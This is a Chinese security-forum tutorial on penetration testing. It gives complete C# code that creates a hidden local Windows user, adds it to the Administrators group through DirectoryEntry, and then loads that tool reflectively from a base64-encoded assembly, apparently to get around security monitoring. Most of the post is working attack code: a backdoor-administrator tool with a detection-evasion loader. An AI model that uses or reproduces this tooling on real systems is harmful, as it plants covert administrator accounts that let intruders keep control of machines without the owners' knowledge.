问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
Bypass Add Local user
渗透测试
DirectoryEntry类 [System.ComponentModel.TypeConverter(typeof(System.DirectoryServices.Design.DirectoryEntryConverter))] [System.DirectoryServices.DSDescription("DirectoryE...
DirectoryEntry类 ```php [System.ComponentModel.TypeConverter(typeof(System.DirectoryServices.Design.DirectoryEntryConverter))] [System.DirectoryServices.DSDescription("DirectoryEntryDesc")] public class DirectoryEntry : System.ComponentModel.Component ``` 构造函数 ```php DirectoryEntry() 初始化 DirectoryEntry 类的新实例。 DirectoryEntry(Object) 初始化 DirectoryEntry 类的新实例,该类可绑定到指定的本机 Active Directory 域服务对象。 DirectoryEntry(String) 初始化 DirectoryEntry 类的新实例,该类将此实例绑定到位于指定路径的 Active Directory 域服务中的节点。 DirectoryEntry(String, String, String) 初始化 DirectoryEntry 类的新实例。 DirectoryEntry(String, String, String, AuthenticationTypes) 初始化 DirectoryEntry 类的新实例。 ``` 这个一般是用来连接ad的,比如操作ldap数据库,进行查询域内信息,委派啊等等。我们可以传递参数为`WinNT://hostname,computer`,创建一个新的条目。 c#可以通过如下两种方式查看本机hostname。 ```php using System.Net; string hostname = Dns.GetHostName(); Console.WriteLine(hostname); string hostname1 = Environment.MachineName; Console.WriteLine(hostname1); ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-c876e2076e3ab711aed18ade98348e89cabd5348.png) 然后我们添加一个值给user到ad中。 ```php string hostname = Dns.GetHostName(); DirectoryEntry DE = new DirectoryEntry("WinNT://" + hostname + ",computer"); string username = "testuseradd"; string password = "1qaz@WSX.."; DirectoryEntry user = DE.Children.Add(username, "user"); ``` 然后用DirectoryEntry类的Invoke方法调用SetPassword方法来添加密码。再通过CommitChanges()方法来进行保存刷新。 ```php user.Invoke("SetPassword", new object[] { password }); user.CommitChanges(); ``` ### 0x02 添加用户到管理员组 因为某些地区可能语言问题,管理员组名字不叫作administrator。所以我们可以先枚举一下目标本地组 ```php string hostname = Dns.GetHostName(); DirectoryEntry DE = new DirectoryEntry("WinNT://" + hostname + ",computer"); DirectoryEntry group; foreach(DirectoryEntry entry in DE.Children) { if (entry.SchemaClassName == "Group") { Console.WriteLine(entry.Name); } } ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-c5c7ccc31d5b7f56fb511600e56f41a5172ec3fd.png) 如何添加到管理员组? 首先定义一个`DirectoryEntry`类型的变量group。然后调用`DirectoryEntry`类的find方法找到`administrators`组,再通过Invoke添加上面创建的用户。 ```php DirectoryEntry group; group = DE.Children.Find("Administrators", "group"); if (group != null) { group.Invoke("Add", new object[] { user.Path.ToString() }); } ``` 完整代码 ```php using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.DirectoryServices; using System.Net; namespace AddUser { internal class Program { static void Main(string[] args) { string hostname = Dns.GetHostName(); DirectoryEntry DE = new DirectoryEntry("WinNT://" + hostname + ",computer"); if (args.Length == 1 && args[0] == "--list") { ListGroup(hostname,DE); } else if(args.Length == 6 && args[0] == "-u" && args[2] == "-p" && args[4] == "-l") { string username = args[1]; string password = args[3]; string groupname = args[5]; try { Add(username, password, DE); }catch(Exception e) { Console.WriteLine(e.Message); } } } public static void ListGroup(string hostname,DirectoryEntry DE) { hostname = Dns.GetHostName(); DE = new DirectoryEntry("WinNT://" + hostname + ",computer"); foreach (DirectoryEntry entry in DE.Children) { if (entry.SchemaClassName == "Group") { Console.WriteLine(entry.Name); } } } public static void Add(string username,string password, DirectoryEntry DE) { DirectoryEntry user = DE.Children.Add(username, "user"); user.Invoke("SetPassword", new object[] { password }); user.CommitChanges(); DirectoryEntry group; group = DE.Children.Find("Administrators", "group"); if (group != null) { group.Invoke("Add", new object[] { user.Path.ToString() }); } Console.WriteLine("[*] Account Created Successfully"); Console.WriteLine($"[+] Username: {username}\n[+] Password: {password}"); } } } ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-12a5eca5d0fdb08091645c53b5eda95563e19487.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-b8ea71931da7ac7e67e6bd65e929e242da7fab4f.png) ### 0x03 反射加载 首先在AddUser里面添加一个类,包含一下方法 ```php public class Test { public static void ListGroup(string hostname, DirectoryEntry DE) { hostname = Dns.GetHostName(); DE = new DirectoryEntry("WinNT://" + hostname + ",computer"); foreach (DirectoryEntry entry in DE.Children) { if (entry.SchemaClassName == "Group") { Console.WriteLine(entry.Name); } } } public static void Add(string username, string password, DirectoryEntry DE) { DirectoryEntry user = DE.Children.Add(username, "user"); user.Invoke("SetPassword", new object[] { password }); user.CommitChanges(); DirectoryEntry group; group = DE.Children.Find("Administrators", "group"); if (group != null) { group.Invoke("Add", new object[] { user.Path.ToString() }); } Console.WriteLine("[+]" + username + " Created Success"); Console.WriteLine("[+]" + username + " add to group Success"); } } ``` 先把exe转换为string ```php byte[] buffer = File.ReadAllBytes("AddUser.exe"); string base64str = Convert.ToBase64String(buffer); Console.WriteLine(base64str); ``` 结果为 ```php TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDABDeT9oAAAAAAAAAAOAAIgALATAAABAAAAAIAAAAAAAAFi4AAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAMItAABPAAAAAEAAAKwFAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAAAgLQAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAA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g0KICA8L3RydXN0SW5mbz4NCjwvYXNzZW1ibHk+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAwAAAAYPgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= ``` 在loader这边一样的获得机器名,和定义一个DirectoryEntry的变量 ```php string hostname = Dns.GetHostName(); DirectoryEntry DE = new DirectoryEntry("WinNT://" + hostname + ",computer"); ``` 把string转换为byte类型,通过load方法加载 ```php byte[] buffer = Convert.FromBase64String(base64str); Assembly assembly = Assembly.Load(buffer); ``` 获得ListGroup方法,并且传参调用 ```php Type type = assembly.GetType("AddUser.Test"); MethodInfo method = type.GetMethod("ListGroup"); Object obj = assembly.CreateInstance(method.Name); method.Invoke(obj, new object[] { hostname ,DE}); ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-1f22f8c9af6d02b5376381bb88f56bc04b70e0b9.png) 同理添加用户。 ```php string hostname = Dns.GetHostName(); DirectoryEntry DE = new DirectoryEntry("WinNT://" + hostname + ",computer"); string base64str = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDABDeT9oAAAAAAAAAAOAAIgALATAAABAAAAAIAAAAAAAAFi4AAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAMItAABPAAAAAEAAAKwFAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAAAgLQAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAHA4AAAAgAAAAEAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAKwFAAAAQAAAAAYAAAASAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAGAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAD2LQAAAAAAAEgAAAACAAUAWCMAAMgJAAADAAIAAQAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABswAwB8AAAAAQAAESgPAAAKCnIBAABwBnITAABwKBAAAApzEQAACgsCjmkXMxcCFppyJwAAcCgSAAAKLAgGBygCAAAGKgKOaRozPAIWmnI1AABwKBIAAAosLQIYmnI7AABwKBIAAAosHgIXmgwCGZoNCAkHKAMAAAbeDG8TAAAKKBQAAAreACoBEAAAAABlAApvAAwSAAABGzADAHEAAAACAAARKA8AAAoQAHIBAABwAnITAABwKBAAAApzEQAAChABA28VAAAKbxYAAAoKKykGbxcAAAp0EQAAAQsHbxgAAApyQQAAcCgSAAAKLAsHbxkAAAooFAAACgZvGgAACi3P3hEGdRQAAAEMCCwGCG8bAAAK3CoAAAABEAAAAgAqADVfABEAAAAAEzAGAJIAAAADAAARBG8VAAAKAnJNAABwbxwAAAoKBnJXAABwF40QAAABJRYDom8dAAAKJgZvHgAACgRvFQAACnJvAABwco0AAHBvHwAACgsHLCAHcpkAAHAXjRAAAAElFgZvIAAACm8hAAAKom8dAAAKJnKhAABwAnKpAABwKBAAAAooFAAACnKhAABwAnLLAABwKBAAAAooFAAACioeAigiAAAKKgAAGzADAHEAAAACAAARKA8AAAoQAHIBAABwAnITAABwKBAAAApzEQAAChABA28VAAAKbxYAAAoKKykGbxcAAAp0EQAAAQsHbxgAAApyQQAAcCgSAAAKLAsHbxkAAAooFAAACgZvGgAACi3P3hEGdRQAAAEMCCwGCG8bAAAK3CoAAAABEAAAAgAqADVfABEAAAAAEzAGAJIAAAADAAARBG8VAAAKAnJNAABwbxwAAAoKBnJXAABwF40QAAABJRYDom8dAAAKJgZvHgAACgRvFQAACnJvAABwco0AAHBvHwAACgsHLCAHcpkAAHAXjRAAAAElFgZvIAAACm8hAAAKom8dAAAKJnKhAABwAnKpAABwKBAAAAooFAAACnKhAABwAnLLAABwKBAAAAooFAAACioeAigiAAAKKgAAQlNKQgEAAQAAAAAADAAAAHY0LjAuMzAzMTkAAAAABQBsAAAAJAMAACN+AACQAwAArAMAACNTdHJpbmdzAAAAADwHAAD4AAAAI1VTADQIAAAQAAAAI0dVSUQAAABECAAAhAEAACNCbG9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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="; byte[] buffer = Convert.FromBase64String(base64str); Assembly assembly = Assembly.Load(buffer); Type type = assembly.GetType("AddUser.Test"); MethodInfo method = type.GetMethod("Add"); Object obj = assembly.CreateInstance(method.Name); string username = "tttttt"; string password = "test123.."; method.Invoke(obj, new object[] { username,password ,DE}); ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-d1d393b66013898f099510da9676ccb31f951033.png)
发表于 2022-08-17 10:18:44
阅读 ( 5764 )
分类:
安全开发
0 推荐
收藏
0 条评论
请先
登录
后评论
cca
7 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!